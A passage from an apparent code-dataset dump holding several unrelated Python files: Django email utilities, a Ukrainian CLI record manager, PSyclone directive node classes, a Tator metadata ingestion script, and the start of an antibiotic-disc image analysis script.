True\n info = \"\"\n return is_valid, info\n\n\ndef send_template_email(email,\n from_email,\n subject_template_name,\n email_template_name,\n html_email_template_name,\n context,\n lang=\"en\"):\n translation.activate(lang)\n subject = render_to_string(subject_template_name, context)\n # Email subject *must not* contain newlines\n subject = \"\".join(subject.splitlines())\n body = render_to_string(email_template_name, context)\n email_message = EmailMultiAlternatives(subject, body, from_email, [email])\n if html_email_template_name is not None:\n html_email = render_to_string(html_email_template_name, context)\n email_message.attach_alternative(html_email, \"text/html\")\n return email_message.send()\n\n\n# def add_email_to_mailchimp(address):\n# if not all((settings.MAILCHIMP_API_KEY, settings.MAILCHIMP_API_KEY, settings.MAILCHIMP_DC)):\n# logger.bind(email=address).warning(\"Maichimp settings are not complete\")\n# return\n# url = f\"https://{settings.MAILCHIMP_DC}.api.mailchimp.com/3.0/lists/{settings.MAILCHIMP_LIST_ID}/members/\"\n# res = requests.post(url,\n# json={\"email_address\": address, \"status\": \"subscribed\"},\n# auth=(\"dummyuser\", settings.MAILCHIMP_API_KEY))\n# if res.status_code >= 400:\n# logger.bind(email=address, url=url, response=res.text).error(\"Cant add address to Mailchimp\")\n# else:\n# logger.bind(email=address).info(\"Address was added to Mailchimp\")\n\n","sub_path":"core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"353054203","text":"# coding=utf-8\nimport menu\nimport datamodel\nimport configparser\n\n\nclass Controller:\n \"\"\"Контроллер ходу виконання програми \"\"\"\n main_actions = ['Перегляд', 'Додавання', 'Вилучення',\n 'Модифікація', 'Пошук за номером',\n 'Пошук за значенням поля', 'Вихід']\n\n def __init__(self):\n self.flag = 0\n self.dbm = datamodel.DataModel()\n self.config = configparser.ConfigParser()\n self.config.read('settings.config')\n if not self.config.sections():\n self.config.read_dict({'Serialization': {'serializer': 'pickle'},\n 'DataFiles': {'pickle': 'data.pickle',\n 'yaml': 'data.yaml',\n 'json': 'data.json'\n }\n })\n serializer = self.config['Serialization']['serializer']\n self.file_path = self.config['DataFiles'][serializer]\n\n if serializer == 'json':\n self.serializer = datamodel.Serializer.json\n elif serializer == 'yaml':\n self.serializer = datamodel.Serializer.yaml\n else:\n self.serializer = datamodel.Serializer.pickle\n\n self.dbm.load(self.file_path, self.serializer)\n self.default_cols = ['імʼя', 'номер', 'місто', 'email']\n\n def show_all(self):\n \"\"\" Показати ��аблицю всіх записів \"\"\"\n menu.print_table(self.dbm.get_table(), self.default_cols)\n\n def add_record(self):\n \"\"\" Інтерактивне додавання запису до бази\"\"\"\n record = menu.input_entity(self.dbm.record_keys)\n self.dbm.add_record(record)\n\n def delete_record(self):\n \"\"\" Інтерактивне видалення запису з бази\"\"\"\n table = self.dbm.get_table()\n index = menu.chose_entity('Виберіть номер елементу для видалення.',\n table, self.default_cols)\n self.dbm.delete_record(table[index]['номер'])\n\n def modify_record(self):\n \"\"\" Інтерактивни модифіказія запису\"\"\"\n table = self.dbm.get_table()\n index = menu.chose_entity('Виберіть номер елементу для модифікації.',\n table, self.default_cols)\n menu.print_table([table[index]], self.default_cols,\n head='Модифікується елемент')\n number = table[index]['номер']\n entity = self.dbm.get_record(number)\n self.dbm.delete_record(number)\n menu.change_entity(entity, self.dbm.record_keys)\n self.dbm.add_record(entity)\n\n def search(self, field):\n \"\"\" Інтерактивний пошук по записам бази за полем field\n :param field: поле для пошуку\"\"\"\n value = menu.input_field(field, str)\n table = self.dbm.search_by_field(field, value)\n menu.print_table(table, self.default_cols, head='Результати пошуку')\n\n def main_idle(self):\n \"\"\" Основний цикл спілкування з користувачем\"\"\"\n while self.flag == 0:\n action = menu.chose_one('Виберіть бажану дію:', self.main_actions)\n if action == 0:\n self.show_all()\n elif action == 1:\n self.add_record()\n elif action == 2:\n self.delete_record()\n elif action == 3:\n self.modify_record()\n elif action == 4:\n self.search('номер')\n elif action == 5:\n field = self.default_cols[menu.chose_one(\n 'Виберіть поле для пошуку', self.default_cols)]\n self.search(field)\n else:\n break\n self.flag = menu.chose_one(self.main_actions[action] +\n ' виконано. Бажаєте продовжити роботу?',\n ['Продовжити', 'Вийти'])\n self.dbm.save(self.file_path, self.serializer)\n\nif __name__ == '__main__':\n Controller().main_idle()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"434478422","text":"# -----------------------------------------------------------------------------\n# BSD 3-Clause License\n#\n# Copyright (c) 2021, Science and Technology Facilities Council.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this\n# list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# * Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived from\n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# -----------------------------------------------------------------------------\n# Authors R. W. Ford, A. R. Porter and S. Siso, STFC Daresbury Lab\n# I. Kavcic, Met Office\n# C.M. Maynard, Met Office / University of Reading\n# J. Henrichs, Bureau of Meteorology\n# Modified A. B. G. Chalk, STFC Daresbury Lab.\n# -----------------------------------------------------------------------------\n\n''' This module contains the Directive, RegionDirective, StandaloneDirective\n node implementation.'''\n\nfrom __future__ import absolute_import\nimport abc\nimport six\nfrom fparser.common.readfortran import FortranStringReader\nfrom fparser.two.Fortran2003 import Comment\nfrom psyclone.psyir.nodes.statement import Statement\nfrom psyclone.psyir.nodes.schedule import Schedule\nfrom psyclone.psyir.nodes.routine import Routine\nfrom psyclone.psyir.nodes.loop import Loop\nfrom psyclone.psyir.nodes.node import Node\nfrom psyclone.errors import InternalError\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass Directive(Statement):\n '''\n Abstract base class for all Directive statements.\n\n '''\n # The prefix to use when code-generating this directive\n # (e.g. \"OMP\") must be set by a mixin or sub-class.\n _PREFIX = \"\"\n _colour = \"green\"\n\n\nclass RegionDirective(Directive):\n '''\n Base class for all Directive nodes that have an associated\n region of code with them.\n\n All classes that generate RegionDirective statements (e.g. OpenMP,\n OpenACC, compiler-specific) inherit from this class.\n\n :param ast: the entry in the fparser2 parse tree representing the code \\\n contained within this directive or None.\n :type ast: :py:class:`fparser.two.Fortran2003.Base` or NoneType\n :param children: list of PSyIR nodes that will be children of this \\\n Directive node or None.\n :type children: list of :py:class:`psyclone.psyir.nodes.Node` or NoneType\n :param parent: PSyIR node that is the parent of this Directive or None.\n :type parent: :py:class:`psyclone.psyir.nodes.Node` or NoneType\n\n '''\n # Textual description of the node.\n _children_valid_format = \"Schedule\"\n\n def __init__(self, ast=None, children=None, parent=None):\n # A Directive always contains a Schedule\n sched = self._insert_schedule(children, ast)\n super(RegionDirective, self).__init__(ast, children=[sched],\n parent=parent)\n\n @staticmethod\n def _validate_child(position, child):\n '''\n :param int position: the position to be validated.\n :param child: a child to be validated.\n :type child: :py:class:`psyclone.psyir.nodes.Node`\n\n :return: whether the given child and position are valid for this node.\n :rtype: bool\n\n '''\n return position == 0 and isinstance(child, Schedule)\n\n @property\n def dir_body(self):\n '''\n :returns: the Schedule associated with this directive.\n :rtype: :py:class:`psyclone.psyir.nodes.Schedule`\n\n :raises InternalError: if this node does not have a single Schedule as\\\n its child.\n '''\n if len(self.children) != 1 or not \\\n isinstance(self.children[0], Schedule):\n raise InternalError(\n \"Directive malformed or incomplete. It should have a single \"\n \"Schedule as a child but found: {0}\".format(\n [type(child).__name__ for child in self.children]))\n return self.children[0]\n\n @property\n def dag_name(self):\n '''\n :returns: the name to use in the DAG for this node.\n :rtype: str\n '''\n _, position = self._find_position(self.ancestor(Routine))\n return \"region_directive_\" + str(position)\n\n def _add_region(self, start_text, end_text=None, data_movement=None):\n '''\n Modifies the underlying fparser2 parse tree to include a subset\n of nodes within a region. (e.g. a 'kernels' or 'data' region.)\n\n :param str start_text: the directive body to insert at the \\\n beginning of the region. \"!$\"+self._PREFIX+\" \" \\\n is prepended to the supplied text.\n :param str end_text: the directive body to insert at the end of \\\n the region (or None). \"!$\"+self._PREFIX+\" \" is \\\n prepended to the supplied text.\n :param str data_movement: whether to include data-movement clauses and\\\n if so, whether to determine them by analysing \\\n the code within the region (\"analyse\") or to \\\n specify 'default(present)' (\"present\").\n\n :raises InternalError: if either start_text or end_text already\n begin with '!'.\n :raises InternalError: if data_movement is not None and not one of \\\n \"present\" or \"analyse\".\n :raises InternalError: if data_movement==\"analyse\" and this is an \\\n OpenMP directive.\n '''\n # pylint:disable=import-outside-toplevel\n from psyclone.psyGen import object_index\n from psyclone.psyir.nodes.acc_directives import ACCDirective\n from psyclone.psyir.frontend.fparser2 import Fparser2Reader\n valid_data_movement = [\"present\", \"analyse\"]\n\n # Ensure the fparser2 AST is up-to-date for all of our children\n Node.update(self)\n\n # Check that we haven't already been called\n if self.ast:\n return\n\n # Sanity check the supplied begin/end text\n if start_text.lstrip()[0] == \"!\":\n raise InternalError(\n \"_add_region: start_text must be a plain label without \"\n \"directive or comment characters but got: '{0}'\".\n format(start_text))\n if end_text and end_text.lstrip()[0] == \"!\":\n raise InternalError(\n \"_add_region: end_text must be a plain label without directive\"\n \" or comment characters but got: '{0}'\".format(end_text))\n # We only deal with data movement if this is an OpenACC directive\n if data_movement and data_movement == \"analyse\" and \\\n not isinstance(self, ACCDirective):\n raise InternalError(\n \"_add_region: the data_movement='analyse' option is only valid\"\n \" for an OpenACC directive.\")\n\n # Find a reference to the fparser2 parse tree that belongs to\n # the contents of this region. Then go back up one level in the\n # parse tree to find the node to which we will add directives as\n # children. (We do this because our parent PSyIR node may be a\n # directive which has no associated entry in the fparser2 parse tree.)\n first_child = self.children[0][0]\n last_child = self.children[0][-1]\n content_ast = first_child.ast\n fp_parent = content_ast.parent\n\n try:\n # Find the location of the AST of our first child node in the\n # list of child nodes of our parent in the fparser parse tree.\n ast_start_index = object_index(fp_parent.content,\n content_ast)\n if end_text:\n if last_child.ast_end:\n ast_end_index = object_index(fp_parent.content,\n last_child.ast_end)\n else:\n ast_end_index = object_index(fp_parent.content,\n last_child.ast)\n\n text = \"!$\" + self._PREFIX + \" \" + end_text\n directive = Comment(FortranStringReader(text,\n ignore_comments=False))\n directive.parent = fp_parent\n fp_parent.content.insert(ast_end_index+1, directive)\n # Ensure this end directive is included with the set of\n # statements belonging to this PSyIR node.\n self.ast_end = directive\n self.dir_body.ast_end = directive\n except(IndexError, ValueError) as error:\n six.raise_from(InternalError(\"Failed to find locations to insert \"\n \"begin/end directives.\"), error)\n\n text = \"!$\" + self._PREFIX + \" \" + start_text\n\n if data_movement:\n if data_movement == \"analyse\":\n # Identify the inputs and outputs to the region (variables that\n # are read and written).\n processor = Fparser2Reader()\n readers, writers, readwrites = processor.get_inputs_outputs(\n fp_parent.content[ast_start_index:ast_end_index+1])\n\n if readers:\n text += \" COPYIN({0})\".format(\",\".join(readers))\n if writers:\n text += \" COPYOUT({0})\".format(\",\".join(writers))\n if readwrites:\n text += \" COPY({0})\".format(\",\".join(readwrites))\n\n elif data_movement == \"present\":\n text += \" DEFAULT(PRESENT)\"\n else:\n raise InternalError(\n \"_add_region: the optional data_movement argument must be \"\n \"one of {0} but got '{1}'\".format(valid_data_movement,\n data_movement))\n directive = Comment(FortranStringReader(text,\n ignore_comments=False))\n directive.parent = fp_parent\n fp_parent.content.insert(ast_start_index, directive)\n\n self.ast = directive\n self.dir_body.ast = directive\n # If this is a directive applied to a Loop then update the ast_end\n # for this Node to point to the parse tree for the loop. We have to\n # do this because the loop is a sibling (rather than a child) of the\n # directive in the parse tree.\n if not end_text and isinstance(first_child, Loop):\n self.ast_end = fp_parent.content[ast_start_index+1]\n\n\nclass StandaloneDirective(Directive):\n '''\n Base class for all StandaloneDirective statements. This class is\n designed for directives which do not have code associated with\n them, e.g. OpenMP's taskwait.\n\n All classes that generate StandaloneDirective statements\n (e.g. OpenMP, OpenACC, compiler-specific) inherit from this class.\n\n '''\n # Textual description of the node.\n _children_valid_format = None\n\n @staticmethod\n def _validate_child(position, child):\n '''\n :param int position: the position to be validated.\n :param child: a child to be validated.\n :type child: :py:class:`psyclone.psyir.nodes.Node`\n\n :return: whether the given child and position are valid for this node.\n :rtype: bool\n\n '''\n # Children are not allowed for StandaloneDirective\n return False\n\n @property\n def dag_name(self):\n '''\n :returns: the name to use in the DAG for this node.\n :rtype: str\n '''\n _, position = self._find_position(self.ancestor(Routine))\n return \"standalone_directive_\" + str(position)\n\n\n# For automatic API documentation generation\n__all__ = [\"Directive\", \"RegionDirective\", \"StandaloneDirective\"]\n","sub_path":"src/psyclone/psyir/nodes/directive.py","file_name":"directive.py","file_ext":"py","file_size_in_byte":13130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"561625469","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport os\nimport os.path\nimport sys\nimport math\nimport progressbar\nimport time\nimport pytator\n\ndef useRealTypes(obj):\n \"\"\"\nGiven an obj, return an obj replacing string values with 1st class types\n \"\"\"\n for k in obj.keys():\n if type(obj[k]) is str:\n try:\n # Try float first, then int\n obj[k] = float(obj[k])\n obj[k] = int(obj[k])\n except:\n pass\n\n return obj\n\ndef ingestLocalizations(args):\n \"\"\"\nTool is used to ingest legacy annotations.\n\nExample:\n./ingestor.py -i ~/working/groundfish_demo/GP040016_1080p_crop.json --url http://natgeo.tatorapp.com/rest --token --typeId 2 --map id:TrackID h:height w:width --ignore type --trackField TrackID --trackTypeId 3\n\n \"\"\"\n parser = argparse.ArgumentParser(sys.argv[1],\n description=__doc__)\n\n parser.add_argument(\"-i\", \"--input\",\n help=\"Path to input file\")\n parser.add_argument(\"-d\", \"--directory\",\n help=\"Path to input file\")\n parser.add_argument(\"--url\",\n required=True,\n help=\"Server url\")\n parser.add_argument(\"--token\",\n required=True,\n help=\"Token for access\")\n parser.add_argument(\"--project\",\n required=True,\n help=\"Project ID\")\n parser.add_argument(\"--localizationTypeId\",\n required=True,\n help=\"Type of the localization to add\")\n parser.add_argument(\"--mediaName\",\n help=\"Override media name\")\n parser.add_argument(\"--mediaId\",\n help=\"Override media name\")\n parser.add_argument(\"--scale\",\n help=\"Scale localizations due to transcoding\",\n type=float)\n parser.add_argument(\"--shiftY\",\n help=\"Shift localizations in y (before scale)\",\n type=float)\n\n parser.add_argument(\"--map\",nargs=\"*\",\n help=\"Map an old attribute to a new attribute (old:new)\")\n parser.add_argument(\"--ignore\",nargs=\"*\",\n help=\"Ignore an attribute from the json file.\")\n parser.add_argument(\"--append\", action=\"store_true\", default=False,\n help=\"Append localizations if ones currently exist\")\n parser.add_argument(\"--no-normalize\",\n action='store_true',\n default=False)\n parser.add_argument(\"--trackId\",\n help=\"Only upload detections with this track ID.\")\n parser.add_argument(\"--saveIds\",\n help=\"If given, save database IDs to this path.\")\n\n args=parser.parse_args(args)\n\n if args.directory and args.input:\n print(\"ERROR: Can't supply both directory(--directory) and file(--input) inputs\");\n parser.print_help()\n sys.exit(-1)\n if args.directory == None and args.input == None:\n print(\"ERROR: Must supply either directory(--directory) of file(--input) inputs\");\n parser.print_help()\n sys.exit(-1)\n\n if args.input:\n _ingestLocalizationsFromFile(args)\n else:\n dirContents=os.listdir(args.directory)\n filesToProcess=[]\n\n for fname in dirContents:\n comps=os.path.splitext(fname)\n if len(comps) > 1:\n if comps[1][1:] == 'json':\n filesToProcess.append(fname)\n progressbar.streams.wrap_stderr()\n bar=progressbar.ProgressBar(prefix='Files',\n redirect_stdout=True,\n redirect_stderr=True)\n for fname in bar(filesToProcess):\n args.input=os.path.join(args.directory,fname)\n _ingestLocalizationsFromFile(args)\n\ndef _ingestLocalizationsFromFile(args):\n tator=pytator.Tator(args.url.rstrip('/'), args.token, args.project)\n medias=tator.Media\n element = None\n guess = None\n if args.mediaName:\n element = medias.byName(args.mediaName)\n guess = args.mediaName\n elif args.mediaId:\n element = medias.byId(args.mediaId)\n guess = f\"(id: {args.mediaId})\"\n else:\n base=os.path.basename(args.input)\n mp4Guess=os.path.splitext(base)[0]+'.mp4'\n print(\"INFO: Trying mp4 extension...{}\".format(mp4Guess))\n element = medias.byName(mp4Guess)\n guess=mp4Guess\n\n if element is None:\n print(f\"Could not find media {guess}, try using '--mediaName'\")\n return -1\n\n mediaId=element[\"id\"]\n\n reservedWords=['id']\n mapped={}\n ignored=[]\n\n if args.map:\n for mapArg in args.map:\n kv=mapArg.split(':')\n mapped[kv[0]] = kv[1]\n\n if args.ignore:\n ignored.extend(args.ignore)\n\n types = tator.LocalizationType\n typeElement = types.byTypeId(args.localizationTypeId)\n if typeElement is None:\n print(f\"Unknown Localization Type ID ({args.localizationTypeId})\")\n sys.exit(-1)\n\n print(f\"Applying localizations of type '{typeElement['type']['name']}'(id={args.localizationTypeId}) to media='{element['name']}' (id={mediaId})\")\n\n localizations=tator.Localization\n\n with open(args.input, 'r') as data:\n obj=json.load(data)\n detections=obj[\"detections\"]\n\n count=0\n dimsToScale=[\"h\",\"w\",\"x\",\"y\"]\n\n if args.trackId:\n detections = [det for det in detections if det[\"id\"] == args.trackId]\n\n for detection in detections:\n count=count+1\n if (count % 100 == 0):\n print(f\"Processed {count} localizations\")\n\n if args.shiftY:\n new=float(detection[\"y\"]) + args.shiftY\n detection[\"y\"] = str(new)\n\n if args.scale:\n for dim in dimsToScale:\n detection[dim] = args.scale * float(detection[dim])\n detection[dim] = int(round(detection[dim]))\n\n # By default we normalize, not no == true\n if not args.no_normalize:\n widths=['x', 'x0', 'x1', 'w']\n heights=['y','y0','y1','h']\n # Convert to floats first\n for dim in widths+heights:\n if dim in detection:\n if type(detection[dim]) == str:\n detection[dim] = float(detection[dim])\n for width in widths:\n if width in detection:\n detection[width] = detection[width] / element['width']\n for height in heights:\n if height in detection:\n detection[height] = detection[height] / element['height']\n\n for k in ignored:\n if k in detection:\n del detection[k]\n\n for k in reservedWords:\n if k in detection and k not in mapped:\n print(f\"found reserved word '{k}', needs '--map' or '--ignore'\")\n sys.exit(-1)\n\n for k,v in mapped.items():\n detection[v] = detection[k]\n del detection[k]\n\n detection['media_id'] = mediaId\n detection['type']=args.localizationTypeId\n\n detection = useRealTypes(detection)\n\n existing=localizations.getMany(mediaId, args.localizationTypeId)\n if existing and not args.append:\n print(f\"Not in append-mode Skipping {element['name']}\")\n return\n\n # Block up the transport because django drops large POSTs\n blocks=math.ceil(len(detections) / 1000)\n dbIds = []\n for block in range(blocks):\n startIdx=(1000*block)\n endIdx=(1000*(block+1))\n code, msg = localizations.addMany(detections[startIdx:endIdx])\n dbIds += msg['id']\n print(f\"{code} : {msg}\")\n if args.saveIds:\n with open(args.saveIds, \"w\") as idFile:\n json.dump(dbIds, idFile)\n\ndef ingestTracks(args):\n parser = argparse.ArgumentParser(sys.argv[1],\n description=__doc__)\n parser.add_argument(\"-i\", \"--input\",\n help=\"Path to input file\",\n required=True)\n parser.add_argument(\"--mediaName\",\n help=\"Override media name\")\n parser.add_argument(\"--mediaId\",\n help=\"Override media name (using id)\")\n parser.add_argument(\"--url\",\n required=True,\n help=\"Server url\")\n parser.add_argument(\"--token\",\n required=True,\n help=\"Token for access\")\n parser.add_argument(\"--project\",\n required=True,\n help=\"Project ID\")\n parser.add_argument(\"--trackField\",\n help=\"Field to use for track association(after map)\")\n\n parser.add_argument(\"--trackTypeId\",\n help=\"typeId of the TrackType\")\n\n parser.add_argument(\"--localizationTypeId\",\n required=True,\n help=\"Type of the localization to query\")\n\n parser.add_argument(\"--map\",nargs=\"*\",\n help=\"Map an old attribute to a new attribute (old:new)\")\n parser.add_argument(\"--ignore\",nargs=\"*\",\n help=\"Ignore an attribute from the json file.\")\n parser.add_argument(\"--trackId\",\n help=\"Only upload a specific track ID.\")\n parser.add_argument(\"--localizationIds\",\n help=\"Path to file containing localization IDs for this track.\")\n\n args=parser.parse_args(args)\n tator=pytator.Tator(args.url.rstrip('/'), args.token, args.project)\n mapped={}\n tracksAPI=tator.Track\n localizations=tator.Localization\n ignored=[]\n\n element = None\n guess = None\n if args.mediaName:\n element = tator.Media.byName(args.mediaName)\n guess = args.mediaName\n elif args.mediaId:\n element = tator.Media.byId(args.mediaId)\n guess = f\"(id: {args.mediaId})\"\n else:\n base=os.path.basename(args.input)\n mp4Guess=os.path.splitext(base)[0]+'.mp4'\n print(\"INFO: Trying mp4 extension...{}\".format(mp4Guess))\n element = tator.Media.byName(mp4Guess)\n guess=mp4Guess\n\n if element is None:\n print(f\"Could not find media {guess}, try using '--mediaName'\")\n sys.exit(-1)\n\n mediaId=element[\"id\"]\n\n if args.map:\n for mapArg in args.map:\n kv=mapArg.split(':')\n mapped[kv[0]] = kv[1]\n if args.ignore:\n ignored.extend(args.ignore)\n\n with open(args.input, 'r') as data:\n obj=json.load(data)\n tracks=obj[\"tracks\"]\n count=0\n if args.trackId:\n tracks = [track for track in tracks if track[\"id\"] == args.trackId]\n for track in tracks:\n # 0.) Transform the json object to match what the\n # server wants\n for k,v in mapped.items():\n track[v] = track[k]\n del track[k]\n\n for k in ignored:\n if k in track:\n del track[k]\n\n if args.localizationIds:\n with open(args.localizationIds, \"r\") as idFile:\n localizationIds = json.load(idFile)\n mediaIds = [mediaId]\n else:\n localizationIds=[]\n mediaIds=set()\n #1.) Get all the localizations for this track id\n queryString=f\"{args.trackField}::{track[args.trackField]}\"\n localizationLookup={\"attribute\" : queryString,\n \"type\" : args.localizationTypeId,\n \"media_id\" : mediaId}\n\n status, localizationsInTrack=localizations.query(localizationLookup)\n for localization in localizationsInTrack:\n localizationIds.append(localization[\"id\"])\n mediaIds.add(localization[\"media\"])\n\n track=useRealTypes(track)\n if len(mediaIds):\n tracksAPI.add(args.trackTypeId, list(mediaIds),track,\n localizationIds)\n else:\n print(\"ERROR: Can't find localizations for {}\".format(track[args.trackField]))\n sys.exit(-1)\n count=count+1\n print(f\"Track {count}/{len(tracks)}\", end=\"\\r\")\n\n print(\"\")\n\ndef ingestMedia(args):\n parser = argparse.ArgumentParser(sys.argv[1],\n description=__doc__)\n parser.add_argument(\"-d\", \"--directory\",\n help=\"Path to input directory\")\n parser.add_argument(\"-f\", \"--file\",\n help=\"Path to input file\")\n parser.add_argument(\"--typeId\",\n help=\"Type ID of the media to import\",\n required=True)\n parser.add_argument(\"--project\",\n help=\"Project ID\",\n required=True)\n parser.add_argument(\"--url\",\n required=True,\n help=\"Server url\")\n parser.add_argument(\"--token\",\n required=True,\n help=\"Token for access\")\n parser.add_argument(\"--extension\",\n default=\"mp4\",\n help=\"video file extension\")\n parser.add_argument(\"--section\",\n help=\"Section to apply to uploaded media\")\n parser.add_argument(\"--parallel\",\n type=int,\n default=4,\n help=\"Number of workers use for uploads\")\n\n args=parser.parse_args(args)\n\n if args.directory and args.file:\n print(\"ERROR: Can't supply both directory and file inputs\");\n parser.print_help()\n sys.exit(-1)\n if args.directory == None and args.file == None:\n print(\"ERROR: Must supply either directory of file inputs\");\n parser.print_help()\n sys.exit(-1)\n\n tator=pytator.Tator(args.url.rstrip('/'), args.token, args.project)\n medias=tator.Media\n\n\n def importFile(filepath, showProgress):\n md5=pytator.md5sum.md5_sum(filepath)\n medias.uploadFile(args.typeId, filepath, False, showProgress, md5=md5, section=args.section)\n return md5\n\n if args.directory:\n filesToProcess=[]\n for root, subdirs, files in os.walk(args.directory):\n for fname in files:\n comps=os.path.splitext(fname)\n if len(comps) > 1:\n if comps[1][1:] == args.extension:\n filesToProcess.append(os.path.join(root, fname))\n\n progressbar.streams.wrap_stderr()\n bar=progressbar.ProgressBar(prefix='Files',\n redirect_stdout=True,\n redirect_stderr=True)\n\n in_process=[]\n for fname in bar(filesToProcess):\n # Delete in process elements first\n for md5 in in_process:\n media_element=medias.byMd5(md5)\n if media_element:\n in_process.remove(md5)\n while len(in_process) >= args.parallel:\n for md5 in in_process:\n media_element=medias.byMd5(md5)\n if media_element:\n in_process.remove(md5)\n print(\"Waiting for transcodes...\")\n print(f\"In process = {in_process}\")\n time.sleep(2.5);\n\n md5=importFile(os.path.join(args.directory, fname), False)\n in_process.append(md5)\n else:\n importFile(args.file, True)\n\n\n\n\n\n\n\nif __name__==\"__main__\":\n functions = {\n 'localizations' : ingestLocalizations,\n 'tracks' : ingestTracks,\n 'media' : ingestMedia\n }\n parser = argparse.ArgumentParser(\n description='CLI wrapper to ingest json metadata into tator online')\n\n parser.add_argument('action',\n choices=functions.keys(),\n help='Requested import type')\n\n args=parser.parse_args(sys.argv[1:2]);\n\n if len(sys.argv) >= 3:\n functions[args.action](sys.argv[2:])\n else:\n print(\"ERROR: Missing arguments\")\n parser.print_help()\n sys.exit(-1)\n","sub_path":"scripts/packages/pytator/ingestor.py","file_name":"ingestor.py","file_ext":"py","file_size_in_byte":16565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"407567271","text":"import datetime\nimport shutil\nimport urllib\nimport urllib.request\nimport urllib.request\nfrom pathlib import Path\n\nimport cv2\nimport numpy as np\nimport requests\nimport openAMR as funcall\n\n\ndef exceptionprint(name, e_name):\n print(name, \" : \", e_name)\n\n\ndef requestpost(filename, param):\n try:\n return requests.post(domain + str(filename) + \".php\", param, timeout=None)\n except Exception as e_net:\n exceptionprint(\"requestpost\", e_net)\n\n\n# noinspection PyUnusedLocal\ndef set_test_phase(status, filename=\"setTestStatus\", cond=False):\n value = \"prog\"\n if cond:\n returnTrue(filename, {\"prog\": status})\n if not cond:\n returnTrue(filename, {\"status\": status})\n\n\ndef transactionReset():\n while True:\n try:\n resetTransaction = requestpost(\"transactionTerminate\", {})\n if resetTransaction.status_code == 200:\n return\n except Exception as e_res:\n exceptionprint(\"resetTransaction\", e_res)\n\n\n# noinspection PyGlobalUndefined\ndef get_test_id():\n global _id\n while True:\n try:\n get_id = requestpost(\"getTestId\", {})\n if get_id.status_code != 200:\n transactionReset()\n elif get_id.status_code == 200:\n for d in get_id.json()[\"samples\"]:\n if d[\"sample_id\"] is None:\n _id = 0\n else:\n _id = int(d[\"sample_id\"])\n return _id + 1\n except Exception as e_t:\n exceptionprint(\"get_id\", e_t)\n\n\ndef new_abx_code(_id, newvalues):\n starttime = datetime.datetime.now()\n raw_dir = Path(r'' + imgbase + str(_id) + '/raw') # raw input images\n raw_path = raw_dir / 'tryimg.png'\n discs_abx_dir = Path(r'' + imgbase + str(_id) + '/discs_abx') # discs abx text as text files\n discs_abx_path = discs_abx_dir / f'{_id}.txt'\n rgb_img = funcall.crop_raw(raw_path)\n discs = funcall.find_discs(rgb_img)\n descriptors_dir = Path(r'descriptors') # saved features used in abx_key\n abx_names = funcall.search_discs(rgb_img, discs)\n # new_abx = {}\n # val = _id\n val = \"0\" + str(_id) if _id < 10 else _id\n features_path = descriptors_dir / f'{val}.npz'\n filepath = \"abx_key.txt\"\n #\n # print(newvalues)dictionary_of_association_from_database[dt][\"resistance\"]\n # print(abx_names)\n\n createnumyarr = False\n new_abx = {}\n for d in abx_names:\n new_abx[d] = (newvalues[d], abx_names[d][1])\n for i in abx_names:\n if newvalues[i] != abx_names[i][0]:\n createnumyarr = True\n if createnumyarr:\n for i in abx_names:\n with open(filepath, \"a+\") as file_handler:\n file_handler.write(str(val) + '_' + str(i) + ' ' + newvalues[i] + '\\n')\n file_handler.close()\n funcall.save_abx_names(abx_names, discs_abx_path)\n features = funcall.find_features(rgb_img, discs)\n funcall.save_features(features, features_path)\n break\n createnumyarr = False\n\n print(\"New Match Duration\", (datetime.datetime.now() - starttime).seconds, \"sec\")\n\n\ndef locatediscs(_id):\n shutil.move(\"tryimg.png\", imgbase + str(_id) + \"/raw/tryimg.png\")\n rgb_dir = Path(r'' + imgbase + str(_id) + '/rgb')\n discs_dir = Path(r'' + imgbase + str(_id) + '/discs')\n discs_path = discs_dir / (str(_id) + '.txt')\n raw_dir = Path(r'' + imgbase + str(_id) + '/raw') # raw input images\n raw_path = raw_dir / 'tryimg.png'\n rgb_path = rgb_dir / f'{_id}.png'\n discs_rgb_dir = Path(r'' + imgbase + str(_id) + '/discs_rgb') # discs drawn on rgb image\n discs_rgb_path = discs_rgb_dir / f'{_id}.png'\n zones_dir = Path(r'' + imgbase + str(_id) + '/zones')\n zones_path = zones_dir / f'{_id}.txt'\n rgb_img = funcall.crop_raw(raw_path)\n funcall.save_image(rgb_img, rgb_path)\n discs = funcall.find_discs(rgb_img)\n funcall.save_discs(discs, discs_path)\n abx_names = funcall.search_discs(rgb_img, 